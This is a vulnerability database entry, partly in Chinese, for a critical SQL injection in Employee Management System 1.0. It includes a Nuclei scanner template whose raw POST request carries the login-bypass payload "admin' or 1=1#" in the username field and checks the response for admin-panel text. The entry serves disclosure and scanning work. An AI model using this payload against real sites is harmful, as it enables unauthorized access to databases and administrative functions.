ems-sqli: Employee Management System 1.0 - SQL Injection

日期: 2025-08-01 | 影响软件: Employee Management System | POC: 已公开

漏洞描述

Employee Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

PoC代码[已公开]

id: ems-sqli

info:
  name: Employee Management System 1.0 - SQL Injection
  author: arafatansari
  severity: critical
  description: |
    Employee Management System 1.0 contains a SQL injection vulnerability via the username parameter.  An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.exploit-db.com/exploits/48882
    - https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: ems,sqli,cms,auth-bypass,edb,vuln

http:
  - raw:
      - |
        POST /process/aprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mailuid=admin' or 1=1#&pwd={{rand_base(5)}}&login-submit=Login

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Admin Panel'
          - 'Log Out'
          - 'Employee Management System'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022047dc762b4f5f94d9d01dc896995eee5fb8aa870b201ab2af05ff317def712d59022100dc55f465ff61f41edfb3424ce8601aa6a62814a6713a1f2e8f925cad35cd1240:922c64590222798bb761d5b6d8e72950

相关漏洞推荐